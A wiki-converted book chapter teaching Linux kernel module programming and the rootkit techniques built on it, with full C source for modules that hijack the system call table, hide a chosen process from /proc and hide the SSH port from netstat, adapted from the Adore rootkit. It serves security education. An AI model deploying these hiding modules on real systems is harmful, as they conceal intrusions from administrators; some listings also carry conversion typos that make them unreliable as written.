Network Security Tools/Modifying and Hacking Security Tools/Fun with Linux Kernel Modules

From WikiContent

Jump to: navigation, search
(Initial conversion from Docbook)
Current revision (22:15, 17 May 2010) (edit) (undo)
m
 
(One intermediate revision not shown.)
Line 135: Line 135:
{
{
fscanf(myfile,"%s",tempstring);
fscanf(myfile,"%s",tempstring);
-
fprintf(stdout,"%s",tempstring);
+
printf("%s",tempstring);
}
}

Current revision

Network Security Tools

The kernel is the heart of an operating system. It is responsible for such core functionality as memory management, process scheduling, TCP/IP networking, and so on. Linux Kernel Modules (LKMs) allow you to extend Linux kernel functionality on-the-fly. Because it is easy to insert and remove LKMs using command-line tools, malicious users prefer to install LKM-based rootkits and backdoors on a compromised system to maintain access to the host. This chapter will show you how to write your own LKMs and teach you how authors of malicious rootkits and backdoors leverage the power of LKMs to perform various types of tricks, such as process and file hiding as well as system call interception. This chapter assumes you are familiar with the C programming language.

Warning

Do not run the examples presented in this chapter on mission-critical or production hosts. A simple error in an LKM can cause a kernel to panic, which will crash the running kernel. If possible, use virtual machine software such as VMware (http://www.vmware.com/) to run the source code presented in this chapter.

Contents

Hello World

To learn the basics of writing LKMs, first we'll attempt to write a simple module that prints Hello World! to the console when loaded, and Goodbye! when unloaded. To write code for the module, include the required header files:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

The 2.6 Linux kernel warns you if a module whose source code is not under the GPL is loaded. This is because the Linux kernel is under the GPL license, and the kernel maintainers insist that all code loaded into the kernel should also be under the GPL license. To prevent the warning message from showing, you will need to classify your module code under the GPL license and include the following directive:

MODULE_LICENSE ("GPL");

Next, define hello( ), which simply prints the string Hello World! to the console using printk( ):

static int __init hello (void)
{
        printk (KERN_ALERT "Hello World!\n");
        return 0;
}

Now define goodbye( ), which prints the string Goodbye! to the console:

static void goodbye (void)
{
        printk (KERN_ALERT "Goodbye!\n");
}

Next set hello( ) and goodbye() to be the initialization and exit functions, respectively. This means hello( ) will be called when the LKM is loaded, and goodbye( ) will be called when the LKM is unloaded:

module_init(hello);
module_exit(goodbye);

hello_world.c

Following is the source code of our hello_world LKM:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

MODULE_LICENSE ("GPL");

static int __init hello (void)
{
        printk (KERN_ALERT "Hello World!\n");
        return 0;
}

static void goodbye (void)
{
        printk (KERN_ALERT "Good Bye!\n");
}

module_init(hello);
module_exit(goodbye);

Compiling and Testing hello_world

To compile the preceding source code, create the following makefile:

obj-m += hello_world.o

Compile by running make:

[notoot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules
make: Entering directory `/usr/src/linux-2.6.8
  CC [M]  /tmp/lkms/hello_world.o
  Building modules, stage 2.
  MODPOST
  CC      /tmp/lkms/hello_world.mod.o
  LD [M]  /tmp/lkms/hello_world.ko
make: Leaving directory `/usr/src/linux-2.6.8

Run the insmod tool to load the module:

[root]# insmod ./hello_world.ko
Hello World!

List loaded LKMs using the lsmod tool:

[root]# lsmod
Module                  Size  Used by
helloworld              2432  0

Remove the module by using the rmmod tool:

[root]# rmmod hello_world
Good Bye!

Intercepting System Calls

Processes run in two modes: user and kernel. Most of the time processes run under the user mode when they have access to limited resources. When a process needs to perform a service offered by the kernel, it invokes a system call. System calls serve as gates into the kernel. They are software interrupts that the operating system processes in kernel mode. The sections in the following paragraphs show how LKMs can perform various tricks by intercepting system calls.

The System Call Table

The Linux kernel maintains a system call table , which is simply a set of pointers to functions that implement the system calls. To see the list of system calls implemented by your kernel, see /usr/include/bits/syscall.h. The kernel stores the system call table under a structure called sys_call_table, which you can find in the arch/i386/kernel/entry.S file.

Tip

Linux kernels 2.5 or greater no longer export the sys_call_table structure. Prior to the 2.5 kernels, an LKM could instantly access the sys_call_table structure by declaring it as an extern variable:

extern void *sys_call_table[];

For more details, see the Section 7.2.5 later in this chapter.

strace Is Your Friend

Often it is necessary to hook into programs to understand what system calls they invoke. The strace tool can do this. For example, consider the following C program, which simply prints the /etc/passwd file:

#include <stdio.h>

int main(void)
{
    FILE *myfile;
    char tempstring[1024];

    if(!(myfile=fopen("/etc/passwd","r")))
    {
         fprintf(stderr,"Could not open file");
         exit(1);
    }

    while(!feof(myfile))
    {
         fscanf(myfile,"%s",tempstring);
         printf("%s",tempstring);
    }

    exit(0);
}

Assuming you have compiled the preceding code with the gcc compiler to produce an executable called a.out, run the following strace command:

[notroot]$ strace -o strace.out ./a.out > /dev/null
               

Now the output from strace is stored in strace.out. Take a look at it to see all the function calls invoked by a.out. For example, issue the following grep command to realize that the fopen( ) library call in a.out invokes the open( ) system call to open the /etc/passwd file:

[notroot]$ grep "/etc/passwd" strace.out
open("/etc/passwd", O_RDONLY) = 3

Forcing Access to sys_call_table

Because sys_call_table is no longer exported in the 2.6 kernels, we can access it only by brute force. LKMs have access to kernel memory, so it is possible to gain access to sys_call_table by comparing known locations with exported system calls. Although sys_call_table itself is not exported, a few system calls such as sys_read() and sys_write( ) are still exported and available to LKMs. To demonstrate how to get access to sys_call_table in the 2.6 kernels, we will write a simple LKM that intercepts sys_open( ) and prevents anyone from opening the /tmp/test file.

Tip

Although we intercept sys_open( ) in this section to prevent someone from opening a file, it is not completely foolproof. This is because the root user still has access to the raw disk device, which determined users can manipulate directly.

We'll walk through the critical bits here, but you'll find the full source code for intercept_open.c in the next section. Notice that the my_init( ) function is called during initialization. This function attempts to gain access to sys_call_table by starting at the address of system_utsname. The system_utsname structure contains a list of system information and is known to exist before the system call table. Therefore, the function starts at the location of system_utsname and iterates 1,024 (MAX_TRY) times. It advances a byte every time and compares the current location with that of sys_read(), whose address is assumed to be available to the LKM. Once a match is found, the loop breaks and we have access to sys_call_table:

while(i)
        {                       
                if(sys_table[__NR_read] == (unsigned long)sys_read)
                {
                        sys_call_table=sys_table;
                        flag=1;
                        break;
                }
                i--;
                sys_table++;
 
        }

The LKM invokes xchg( ) to alter the system call table to point sys_call_table[_ _NR_open] to our_fake_open_function( ):

original_sys_open =(void * )xchg(&sys_call_table[_ _NR_open],
our_fake_open_function);

This causes our_fake_open_function( ) to be invoked instead of the original sys_open( ) call. The xchg( ) function also returns original_sys_open, which contains a pointer to the original sys_open( ). We use this pointer to reset the system call table to point to the original sys_open() when the LKM is unloaded:

xchg(&sys_call_table[_ _NR_open], original_sys_open);

The our_fake_open_function( ) function checks to see if the *filename parameter is set to the file we are trying to prevent from being opened, which in our case is assumed to be /tmp/test. However, it is not sufficient to compare /tmp/test with the value of filename because if a process's current directory is /tmp, for example, it might invoke sys_open( ) with test as the parameter. The surest way to check if filename is indeed referring to /tmp/test is to compare the inode of /tmp/test with the inode of the file corresponding to filename. Inodes are data structures that contain information about files in the system. Because every file has a unique inode, we can be certain of our results. To obtain the inode, our_fake_open_function( ) invokes user_path_walk( ) and passes it filename and a structure of type nameidata as required by the function. However, before user_path_walk( ) is called with /tmp/test as a parameter, the LKM calls the following functions:

fs=get_fs( );
set_fs(get_ds( ));

The user_path_walk( ) function expects the location of filename to be present in memory in user space. However, because we are writing a kernel module, our code will be in kernel space and user_path_walk( ) will fail because it expects to be run in user mode. Therefore, before we invoke user_path_walk( ), we will need to invoke the get_fs( ) function, which reads the value of the highest segment of kernel memory, and then invoke set_fs( ) along with get_ds( ) as a parameter. This changes the kernel virtual memory limit for user space memory so that user_path_walk( ) can succeed. Once the module is done calling user_path_walk( ), it restores the limit:

set_fs(fs);

If the files' inodes are equal, we know the user is attempting to open /tmp/test and the module returns -EACCES:

if(inode==inode_t)
    return -EACCES;

Otherwise, the module invokes the original sys_open( ):

return original_sys_open(filename,flags,mode);

intercept_open.c

Following is the full source code of our intercept_open LKM:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/unistd.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#include <linux/namei.h>

int flag=0;

#define MAX_TRY 1024;

MODULE_LICENSE ("GPL");

unsigned long *sys_call_table;

asmlinkage long (*original_sys_open) (const char __user * filename, int
flags, int mode);

asmlinkage int our_fake_open_function(const char __user *filename, int
flags, int mode)
{
        int error;
        struct nameidata nd,nd_t;
        struct inode *inode,*inode_t;
        mm_segment_t fs;

        error=user_path_walk(filename,&nd);

        if(!error)
        {

                inode=nd.dentry->d_inode;

                /*Have to do this before calling user_path_walk( )
                from kernel space:*/
                fs=get_fs( );
                set_fs(get_ds( ));

                /*Protect /tmp/test. Change this to whatever file you
                want to protect*/
                error=user_path_walk("/tmp/test",&nd_t);

                set_fs(fs);

                if(!error)
                {
                        inode_t=nd_t.dentry->d_inode;

                        if(inode==inode_t)
                                return -EACCES;
                }
        }
  
        return original_sys_open(filename,flags,mode);
}
        
static int __init my_init (void)
{
        int i=MAX_TRY;
        unsigned long *sys_table;
        sys_table = (unsigned long *)&system_utsname;

        while(i)
        {
                if(sys_table[__NR_read] == (unsigned long)sys_read)
                {
                        sys_call_table=sys_table;
                        flag=1;
                        break;   
                }
                i--;
                sys_table++;
                
        }
                
        if(flag)
        {
            original_sys_open =(void * )xchg(&sys_call_table[__NR_open],
our_fake_open_function);
        }
                                
        return 0;

}
        
static void my_exit (void)
{
        xchg(&sys_call_table[__NR_open], original_sys_open);
}
        
module_init(my_init);
module_exit(my_exit);

Compiling and testing intercept_open

To compile intercept_open.c, use the following makefile:

obj-m += intercept_open.o

Compile using the following make command:

[notroot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules
                  

Create /tmp/test:

[notroot]$ echo hi > /tmp/test
                  

Load insert_open.ko:

[root]# insmod ./intercept_open.ko
                  

Try to open /tmp/test:

[root]# cat /tmp/test
cat: /tmp/test: Permission denied

Unload the module:

[root]# rmmod intercept_open
                  

Try to open /tmp/test again:

[root]# cat /tmp/test
hi

Intercepting sys_unlink( ) Using System.map

In the previous section, we looked at how to obtain the address of sys_call_table by searching kernel memory. However, if the kernel's System.map file is available, you can use it to obtain the location of sys_call_table, and this location can be hardcoded into the LKM. An LKM that denies the deletion of files by intercepting sys_unlink( ) is a good illustration. First, find the location of sys_call_table from System.map:

[notroot]$ grep sys_call_table /boot/System.map
c044fd00 D sys_call_table

The module's source code hardcodes the address to obtain sys_call_table:

*(long *)&sys_call_table=0xc044fd00;

The module alters the system call table to point _ _NR_unlink to hacked_sys_unlink, and stores the original location of sys_unlink( ):

original_sys_unlink =(void * )xchg(&sys_call_table[_ _NR_unlink],
hacked_sys_unlink);

The hacked_sys_unlink( ) function returns -1 whenever it is called. It never invokes the original sys_unlink( ):

asmlinkage long hacked_sys_unlink(const char *pathname)
{
        return -1;
}

This prevents any process from being able to delete any file on the system.

intercept_unlink.c

Following is the full source code of our intercept_unlink LKM:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/unistd.h>

        
MODULE_LICENSE ("GPL");
        
unsigned long *sys_call_table;
        
asmlinkage long (*original_sys_unlink) (const char *pathname);

/*return -1. this will prevent any process from unlinking any file*/
asmlinkage long hacked_sys_unlink(const char *pathname)
{
        return -1;
}
        
static int _ _init my_init (void)
{
        /*obtain sys_call_table from hardcoded value
        we found in System.map*/
        *(long *)&sys_call_table=0xc044fd00;
        
        /*store original location of sys_unlink. Alter sys_call_table
        to point _ _NR_unlink to our hacked_sys_unlink*/
        original_sys_unlink =(void * )xchg(&sys_call_table[_ _NR_unlink],
hacked_sys_unlink);
        
        return 0;
}

static void my_exit (void)
/*restore original sys_unlink in sys_call_table*/
        xchg(&sys_call_table[_ _NR_unlink], original_sys_unlink);

}       

module_init(my_init);
module_exit(my_exit);

Compiling and testing intercept_unlink

To test the module, use the following makefile:

obj-m += intercept_unlink.o

Compile using the following make command:

[notroot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules
                  

Create a test file:

[notroot]$ touch /tmp/testfile
                  

Load the module:

[root]# insmod ./intercept_unlink.ko
                  

Attempt to delete the file:

[root]# rm -rf /tmp/testfile
rm: cannot remove `/tmp/testfile': Operation not permitted

Unload the module:

[root]# rmmod intercept_unlink
                  

Now, you should be able to delete the file:

[root]# rm -rf /tmp/testfile
                  

Intercepting sys_exit( ) in 2.4 Kernels

The 2.4 kernels export the sys_call_table symbol. Many people still use the 2.4 kernels, so this section quickly shows you how to write an LKM for the 2.4 kernel to intercept sys_exit( ). This example is very simple and straightforward, and once you understand how intercept_exit.c works, you'll be able to port the other examples in this chapter to 2.4 kernels.

Warning

The 2.4 kernels distributed by Red Hat are back-ported and do not export sys_call_table. In this case, use the techniques presented in the earlier sections to grab sys_call_table by brute force or by using System.map.

The intercept_exit module intercepts sys_exit( ) and prints the value of error_code passed to sys_exit() onto the console. The init_module( ) function is called when the LKM is loaded. This function stores a reference to the original sys_exit( ) call, and it points sys_call_table[_ _NR_exit] to our_fake_exit_function:

original_sys_exit = sys_call_table[_ _NR_exit];
sys_call_table[_ _NR_exit]=our_fake_exit_function;

The our_fake_exit_function( ) call prints the value of error_code and then calls the original sys_exit( ):

asmlinkage int our_fake_exit_function(int error_code)
{
    printk("HEY! sys_exit called with error_code=%d\n",error_code);

    return original_sys_exit(error_code);
}

The LKM restores sys_call_table[_ _NR_exit] to point to original_sys_exit when it is unloaded:

sys_call_table[_ _NR_exit]=original_sys_exit;

intercept_exit.c

Following is the full source code of our intercept_exit LKM:

#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>

MODULE_LICENSE("GPL");

extern void *sys_call_table[];

asmlinkage int (*original_sys_exit)(int);

asmlinkage int our_fake_exit_function(int error_code)
{
    /*print message on console every time we are called*/
    printk("HEY! sys_exit called with error_code=%d\n",error_code);

    /*call original sys_exit and return its value*/
    return original_sys_exit(error_code);
}

int init_module(void)
{
    /*store reference to the original sys_exit call*/
    original_sys_exit = sys_call_table[__NR_exit];

    /*manipulate sys_call_table to call our fake exit
    function instead*/
    sys_call_table[__NR_exit]=our_fake_exit_function;

    return 0;
}

void cleanup_module(void)
{
    /*restore original sys_exit*/
    sys_call_table[__NR_exit]=original_sys_exit;

}

Compiling and testing intercept_exit

Compile intercept_exit.c:

[notroot]$ gcc -D__KERNEL_  _ -DMODULE -I/usr/src/linux/include -c intercept_exit.c
                  

Insert it into the kernel:

[root]# insmod ./intercept_exit.o
                  

Ask ls to list a nonexistent file. This will cause ls to exit with a nonzero value, and our LKM will print this value:

 [notroot]$ ls /tmp/nonexistent
ls: /tmp/nonexistent: No such file or directory
HEY! sys_exit called with error_code=1

Remove the module when done:

[root]# rmmod intercept_exit
                  

Hiding Processes

Adore is a popular LKM-based rootkit. Among its many features, it allows a user to hide processes by altering the /proc system's readdir handler.

Tip

Download the Adore rootkit at http://packetstormsecurity.nl/groups/teso/.

The /proc system stores a lot of system information, including process information. For example, let's assume sshd is running on our system. You can use the ps tool to obtain sshd 's Process ID (PID):

[notroot]$ ps x | grep sshd
1431 ?       S    0:00 /usr/sbin/sshd
4721 tty1    S    0:00 grep sshd

In our example, the sshd process's PID is 1431. Let's look in /proc/1431 to obtain more information about the sshd process:

[notroot]$ ls -l /proc/1431/
total 0
-r--------    1 root     root            0 Sep  4 09:14 auxv
-r--r--r--    1 root     root            0 Sep  4 09:12 cmdline
lrwxrwxrwx    1 root     root            0 Sep  4 09:14 cwd -> /
-r--------    1 root     root            0 Sep  4 09:12 environ
lrwxrwxrwx    1 root     root            0 Sep  4 09:14 exe -> /usr/sbin/sshd
dr-x------    2 root     root            0 Sep  4 09:14 fd
-r--r--r--    1 root     root            0 Sep  4 09:14 maps
-rw-------    1 root     root            0 Sep  4 09:14 mem
-r--r--r--    1 root     root            0 Sep  4 09:14 mounts
lrwxrwxrwx    1 root     root            0 Sep  4 09:14 root -> /
-r--r--r--    1 root     root            0 Sep  4 09:12 stat
-r--r--r--    1 root     root            0 Sep  4 09:14 statm
-r--r--r--    1 root     root            0 Sep  4 09:12 status
dr-xr-xr-x    3 root     root            0 Sep  4 09:14 task
-r--r--r--    1 root     root            0 Sep  4 09:14 wchan

As you can see, the /proc filesystem also stores process information. The ps tool uses the /proc system to enumerate the processes running on a system.

In this section, we will use Adore's techniques to hide a given process with an LKM that we will call hidepid. For example, let's create a simple process we want to hide:

[notroot]$ sleep 999999 &
[1] 4781

From the preceding sleep command, we know process 4781 will be available for 999,999 seconds, so we will attempt to hide this process.

The hide_pid( ) function in hidepid.c expects a pointer to /proc's original readdir handler, as well as the new readdir handler. First, the function attempts to obtain a file descriptor by attempting to open /proc:

if((filep = filp_open("/proc",O_RDONLY,0))==NULL)
                return -1;

The pointer to /proc's readdir handler is stored so we can restore it before the LKM exits:

if(orig_readdir)
                *orig_readdir = filep->f_op->readdir;

Next, /proc's readdir handler is set to new_readdir:

filep->f_op->readdir=new_readdir;

The hide_pid( ) function is invoked with the following parameters upon initialization:

hide_pid(&orig_proc_readdir,my_proc_readdir);

Because my_proc_readdir is passed as the second parameter to hide_pid( ), which corresponds with new_readdir, the LKM sets /proc's readdir handler to my_proc_readdir. The my_proc_readdir( ) function invokes the original_proc_readdir() function but with my_proc_filldir as the handler. The my_proc_filldir( ) function simply checks if the name of the PID being read from /proc is the same as the name of the PID we are trying to hide. If it is, the function simply returns. Otherwise, it calls the original filldir( ):

if(adore_atoi(name)==HIDEPID)
                return 0;
                
return proc_filldir(buf, name, nlen, off, ino, x);

When the LKM is unloaded, restore( ) is invoked to reset /proc's readdir handler:

if ((filep = filp_open("/proc", O_RDONLY, 0)) == NULL)
                return -1;
 
filep->f_op->readdir = orig_readdir;

hidepid.c

Following is the full source code of our hidepid LKM:

/*Thanks to adore-ng from Stealth for the ideas used in this code*/

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <net/sock.h>

#define HIDEPID 4781

typedef int (*readdir_t)(struct file *, void *, filldir_t);

readdir_t orig_proc_readdir=NULL;

filldir_t proc_filldir = NULL;

/*Convert string to integer. Strip non-integer characters. Courtesy
adore-ng*/

int adore_atoi(const char *str)
{
        int ret = 0, mul = 1;
        const char *ptr;
        for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
                ;
        ptr--;
        while (ptr >= str) {
                if (*ptr < '0' || *ptr > '9')
                        break;
                ret += (*ptr - '0') * mul;
                mul *= 10;
ptr--;   
        }

        return ret;
}

int my_proc_filldir (void *buf, const char *name, int nlen, loff_t off,
ino_t ino, unsigned x)
{
        /*If name is equal to our pid, then we return 0. This way,
        our pid isn't visible*/
        if(adore_atoi(name)==HIDEPID)
        {

                return 0;
        }
        /*Otherwise, call original filldir*/
        return proc_filldir(buf, name, nlen, off, ino, x);
}
 
int my_proc_readdir(struct file *fp, void *buf, filldir_t filldir)
{
        int r=0;
                 
        proc_filldir = filldir;
        
        /*invoke orig_proc_readdir with my_proc_filldir*/
        r=orig_proc_readdir(fp,buf,my_proc_filldir);
                
        return r;
}

int hide_pid(readdir_t *orig_readdir, readdir_t new_readdir)
{
        struct file *filep;

        /*open /proc */
        if((filep = filp_open("/proc",O_RDONLY,0))==NULL)
        {
                return -1;
        }
        /*store proc's readdir*/
        if(orig_readdir)
                *orig_readdir = filep->f_op->readdir;
         
        /*set proc's readdir to new_readdir*/
        filep->f_op->readdir=new_readdir;
 
        filp_close(filep,0);

        return 0;
}
                 
/*restore /proc's readdir*/
int restore (readdir_t orig_readdir)
{
        struct file *filep;
                
        /*open /proc */
if ((filep = filp_open("/proc", O_RDONLY, 0)) == NULL) {
                return -1;
        }

        /*restore /proc's readdir*/
        filep->f_op->readdir = orig_readdir;

        filp_close(filep, 0);
        
        return 0;
}
         
static int __init myinit(void)  
{
        hide_pid(&orig_proc_readdir,my_proc_readdir);
         
        return 0;
}
 
static void myexit(void)
{
        restore(orig_proc_readdir);
}
                 
module_init(myinit);
module_exit(myexit);
 
MODULE_LICENSE("GPL");

Compiling and Testing hidepid

To test the module, use the following makefile:

obj-m += hidepid.o

Compile using the following make command:

[notroot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules
               

Test the module by executing ps to list the sleep process we initiated earlier:

[notroot]$ ps a | grep 4781
4781 tty1  S      0:00 sleep 999999
6545 tty1  R      0:00 grep 4781

Insert the module:

[root]# insmod ./hidepid.ko
               

Now, the sleep process is no longer visible:

[notroot]$ ps a | grep 4781
6545 tty1  R      0:00 grep 4781

Remember to remove the module when done:

[root]# rmmod hidepid
               

Hiding from netstat

The netstat tool lists currently running network services on a host:

[notroot]$ netstat -na
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address   Foreign Address  State
tcp        0      0 0.0.0.0:22      0.0.0.0:*        LISTEN
udp        0      0 0.0.0.0:68      0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags     Type    State      I-Node Path
unix  2      [ ACC ]   STREAM  LISTENING  2085   /dev/gpmctl
unix  6      [ ]       DGRAM              1886   /dev/log
unix  2      [ ]       DGRAM              2153
unix  2      [ ]       DGRAM              2088
unix  2      [ ]       DGRAM              2046
unix  2      [ ]       DGRAM              1894

The Adore rootkit allows you to hide a given set of listening services from a netstat query. It does this by using the exported proc_net structure to change the tcp4_seq_show( ) handler, which is invoked by the kernel when netstat queries for listening connections. Within the hacked_tcp4_seq_show() function in hide_sshd.c, strnstr( ) is used to look in seq->buf for a substring that contains the hex representation of the port it is trying to hide, and if this is found, the string is deleted.

hide_sshd.c

Following is the full source code of the hide_sshd LKM:

/*Thanks to adore-ng from Stealth for the ideas used in this code*/

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/init.h>
#include <net/tcp.h>

/*from net/ipv4/tcp_ipv4.c*/
#define TMPSZ 150

/*hide sshd*/
#define PORT_TO_HIDE 22

MODULE_LICENSE("GPL");

int (*old_tcp4_seq_show)(struct seq_file*, void *) = NULL;

char *strnstr(const char *haystack, const char *needle, size_t n)
{
        char *s = strstr(haystack, needle);
        if (s == NULL)
                return NULL;
        if (s-haystack+strlen(needle) <= n)
                return s;
        else
                return NULL;
}

int hacked_tcp4_seq_show(struct seq_file *seq, void *v)
{
        int retval=old_tcp4_seq_show(seq, v);

        char port[12];

        sprintf(port,"%04X",PORT_TO_HIDE);

        if(strnstr(seq->buf+seq->count-TMPSZ,port,TMPSZ))
                seq->count -= TMPSZ;
return retval;   
}

static int __init myinit(void)
{
        struct tcp_seq_afinfo *my_afinfo = NULL;
        struct proc_dir_entry *my_dir_entry = proc_net->subdir;

        while (strcmp(my_dir_entry->name, "tcp"))
                my_dir_entry = my_dir_entry->next;

        if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
        {
                old_tcp4_seq_show = my_afinfo->seq_show;
                my_afinfo->seq_show = hacked_tcp4_seq_show;
        }
        
                
        return 0;
}
        
static void myexit(void)
{
        struct tcp_seq_afinfo *my_afinfo = NULL;
        struct proc_dir_entry *my_dir_entry = proc_net->subdir;
 
        while (strcmp(my_dir_entry->name, "tcp"))
                my_dir_entry = my_dir_entry->next;
        
        if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
        {
                my_afinfo->seq_show=old_tcp4_seq_show;
        }
                
}
                      
module_init(myinit);
module_exit(myexit);

Compiling and Testing hide_sshd

The hide_sshd.c source code assumes we are trying to hide the presence of sshd running on a host. If you want to hide any other service, change the value of PORT_TO_HIDE. For the purposes of this section, we assume that sshd is running on the host. Make sure by running netstat:

[notroot]$ netstat -na | grep 22
tcp     0     0.0.0.0:22    0.0.0.0:*    LISTEN

Use the following makefile:

obj-m += hide_sshd.o

Compile using the following make command:

[notroot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules
               

Insert the module:

[root]# insmod ./hide_sshd.ko
               

Now sshd will not be visible. Try the netstat query again:

[notroot]# netstat -na | grep 22
               

Unload the module when done:

[root]# rmmod hide_sshd
Personal tools